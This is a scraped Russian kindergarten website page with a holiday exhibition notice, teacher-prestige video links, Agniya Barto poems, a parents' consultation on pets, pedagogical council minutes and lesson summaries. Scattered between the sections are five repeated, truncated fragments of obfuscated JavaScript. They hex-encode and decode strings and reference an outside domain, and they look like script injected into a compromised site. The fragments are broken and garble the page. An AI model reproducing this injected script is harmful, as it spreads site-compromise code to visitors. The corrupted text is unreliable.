Тематическая выставка, посвящённая международному женскому дню 8 марта
Работы с детьми:
Воспитатель Шумкова Е.В.
Гаврилова М.В.
(группа №8)
Работы с детьми:
Воспитатель Гаврилова М.В.
(группа №7)
Решаем вместе
Не можете записать ребёнка в сад? Хотите рассказать о воспитателях? Знаете, как улучшить питание и занятия?
Повышение престижа профессии педагога
В рамках реализации комплексной программы повышения профессионального уровня педагогических работников общеобразовательных организаций (от 28 мая 2014 года № 3241п-П8) Минобрнауки России разработаны 3 социальных видеоролика по следующим тематикам: «Учитель – больше, чем профессия!», Говорите учителям «Спасибо», «Учителя – гордость России».
Скачать ролики: https://drive.google.com/folderview?id=0B8feKCxXXpfuQ3A0d0pDenR0MlE&usp=sharing
По ссылке находятся два ZIP архива, в каждом из них упакованы по 3 ролика.
Если Вы используете широкоэранный монитор — качайте файл «16х9 финал.zip» (210 МБ). Если у Вас обычный монитор (с соотношением сторон 4:3) — качайте файл «4х3 финал.zip» (105 МБ).
День рождения детского сада №1
26 февраля 2016 года наш детский сад отметил 55-летний юбилей. В этот день сотрудники принимали поздравления от своих воспитанников подготовительной к школе группы.
.
«Учим дома с детьми: стихи Агнии Барто»
| ГРУЗОВИК
Нет, напрасно мы решили Прокатить кота в машине: Кот кататься не привык — Опрокинул грузовик.
ВОТ ТАК ЗАЩИТНИК!
Я свою сестренку Лиду Никому не дам в обиду! Я живу с ней очень дружно, Очень я ее люблю.
А когда мне будет нужно, Я и сам ее побью.
УТИ-УТИ
Рано, рано утречком Вышла мама-уточка Поучить утят.
Уж она их учит, учит! Вы плывите, ути-ути, Плавно, в ряд.
Хоть сыночек не велик, Не велик, Мама трусить не велит, Не велит.
— Плыви, плыви, Утёныш, Не бойся, Не утонешь. |
ЧУДЕСА
Чудеса! — сказала Люба.- Шуба длинная была, В сундуке лежала шуба, Стала шуба мне мала.
ЛЯГУШАТА
Пять зелёных лягушат В воду броситься спешат — Испугались цапли! А меня они смешат: Я же этой цапли Не боюсь ни капли!
СМЕШНОЙ ЦВЕТОК
Смешной цветок поставлен в вазу! Его не полили ни разу, Ему не нужно влаги, Он сделан из бумаги.
А почему такой он важный? А потому, что он бумажный! |
Воспитатель 8 группы Гаврилова М.В.
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Консультация для родителей: «Домашние животные в жизни малышей»
КОНСУЛЬТАЦИЯ
для родителей: «Домашние животные в жизни малышей»
С самого раннего возраста необходимо приучать детей к общению и ухаживанию за домашними животными вместе с родителями. Участвуя, в этом проекте дети и их родители должны научиться:
-
Формированию эмоционально-положительного отношения к домашним животным и их детёнышам;
-
Положительным эмоциям от совместной работы и полученного результата.
Интеллектуальное развитие:
— Животные являются источником первых знаний о природе. Ребенок видит животное — он к нему тянется, распознает названия, отмечает различия, познает его поведение.
— Животные являются источником развития сенсорики. Ни одна обучающая игрушка не может сравниться с природой. Ребенок непосредственно через органы чувств воспринимает объект: форму, величину, цвет, запах, пространственное расположение, движения, мягкость, фактуру шерсти и т.д.
— Животные являются источником развития логического мышления. На основе представлений о животных, дети учатся видеть связи и зависимости: киса мяукает у миски — голодная.
— Животные источник для различных видов деятельности – наблюдение, игра, труд, творчество и т.д. В результате формируется любознательность, наблюдательность, развивается фантазия.
Животные – источник нравственного воспитания:
— Источник первых переживаний и радости. Ребенок испытывает положительные эмоции в общении с животным. В современном обществе как раз больше всего не хватает положительных переживаний.
— В процессе общения у ребенка развиваются чувства прекрасного. Они учатся видеть естественную красоту.
— В процессе деятельности ребенок учится проявлять бережное (пассивное) и заботливое (активное) отношение к животному миру в целом. Таким образом у ребенка формируется основы экологической культуры, которая является составной частью духовной культуры.
Животные – источник эстетического воспитания и развития:
Натуральная и естественная красота побуждает детей к творчеству. Дети любят, стремятся отражать свои переживания с животным в детских стихах, рассказах собственного сочинения и конечно же в изо-деятельности.
Источник трудового воспитания:
В процессе наблюдения, ребенок знакомится с несложными трудовыми операциями. Под руководством взрослых у него формируются элементарные навыки по уходу за животными. Приобретаются дополнительные сведенья об условиях жизни в природе и в домашних условиях.
Источник физического развития:
Животные — источник укрепления здоровья, психического развития: в процессе прогулок с собакой, хорьком, кроликом и т.д, в процессе труда дети также совершенствуются физически.
Воспитатель 8 группы Е.В. Шумкова
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=»»,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "dou1.pogranichny.org"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e
Педагогический совет
«Игра – ведущий вид деятельности дошкольника».
С этим положением никто не спорит. Но как это реализуется в современной практике?
27 января 2016 года прошло заседание педагогического совета по теме: «Развитие игровой деятельности в условиях реализации Федеральных государственных образовательных стандартов».
Цель: повысить значимость игры в воспитательно-образовательном процессе ДОУ, как основного вида деятельности детей.
Повестка педсовета:
1.Современная практика организации игровой деятельности.
Анализ анкетирования педагогов.
Отв.Г.Н.Коваленко
2.Игровые технологии в детском саду.
Отв.Л.И.Лишавская
3.Особенности игры в раннем возрасте.
Отв. Е.В.Шумкова
4.Технология сюжетно-ролевых игр в старшей группе.
Отв.И.В.Ситникова
5.Обобщение опыта работы: по теме: «Формирование речи детей в игровой деятельности».
Отв.А.А.Пронина
6.Обобщение опыта работы: по теме: «Театрализованная игра, как средство развития речи детей».
Отв.Р.Ф.Жданова
7.Игра: «Поле чудес»
Отв.Е.В.Бурма
Решение педсовета:
1) Вводить игры и игровые приемы разнообразного содержания во все режимные моменты, что должно быть отражено в рабочих планах. Уделить особое внимание организации и проведению подвижных игр на прогулке.
2) В целях совершенствования условий для организации сюжетно — ролевых игр в группах пополнить развивающую среду атрибуты для игр в соответствии с возрастом.
3) Систематически планировать и проводить сюжетно — ролевые игры в соответствии с программными требованиями.
4) Информировать родителей о значимости сюжетно-ролевой игры в жизни ребёнка, вовлекать родителей в организацию игровой деятельности детей.
Подготовить консультацию для родителей о значении сюжетных игр для детей дошкольного возраста.
Русская печь
27 января в старшей группе №3 прошла непрерывная непосредственно образовательная деятельность «Русская печь», образовательная область: «Социально-коммуникативное развитие». Патриотическое воспитание.
Программное содержание занятия: воспитывать интерес к народному быту, формировать образную речь, употреблять в разговорной речи пословицы, поговорки; обогащать словарь названиями предметов быта: самовар, ухват, кочерга, печь устьице, чугунок, сарафан, лапти, прялка; развивать речевую активность детей, поощрять стремление рассуждать, высказывать свое мнение, делать умозаключения, развивать логическое мышление. 
Воспитатель:
Т.А.Тарасова
Безопасность
26 января в старшей группе №4 прошла непрерывная непосредственно образовательная деятельность «Служба спасения 01», образовательная область: «Социально-коммуникативное развитие». Формирование основ безопасности.
Программное содержание занятия: сформировать у детей понятие «Пожарная безопасность, закрепить знания о причинах возникновения пожара; умение осознанно действовать в экстремальных ситуациях, связанных с возникновением пожара, закрепить знания о труде пожарных, воспитывать уважение и интерес к этой профессии; развивать речевую активность детей, поощрять стремление рассуждать, высказывать свое мнение, делать умозаключения, развивать логическое мышление. 
Воспитатель:
А.А.Пронина
Проектная деятельность
25 января воспитатель Ирина Германовна Гадеева провела открытый просмотр по проектной деятельности «Знатоки природы» в средней группе №5.
Цель данного проекта: обобщить знания детей о живой и неживой природе, способствовать развитию познавательных интересов.
Ирина Германовна постаралась расширить знания детей о живой и неживой природе, показала их взаимосвязь, закрепила представления об условиях для роста и развития всех живых организмов на земле, продолжила воспитывать любовь к природе и бережное к ней отношение.
Старший воспитатель:
Г.Н.Коваленко
Конспект занятия
Конспект занятия по ручному труду в подготовительной к школе группе
«Украшение фоторамки».
Цель: Продолжать расширять представления детей о том, что одинаковые изделия можно украшать по разному. Развивать умение самостоятельно придумывать узор и располагать его на рамке. Закреплять умение соблюдать характерные цветосочетания городецкой росписи. Воспитывать любовь к своим близким, желание сделать им подарок. Продолжать знакомить с понятием дизайнер, дизайнерское искусство.
Методы и приемы: беседа, выставка фотографий, проблемно-мотивационный метод.
Предварительная работа: рисование: «Роспись фото-рамки», изготовление детьми дидактической игры «Составь узор», аппликация «Узор на фартуке», беседа на тему «Кто такие дизайнеры?»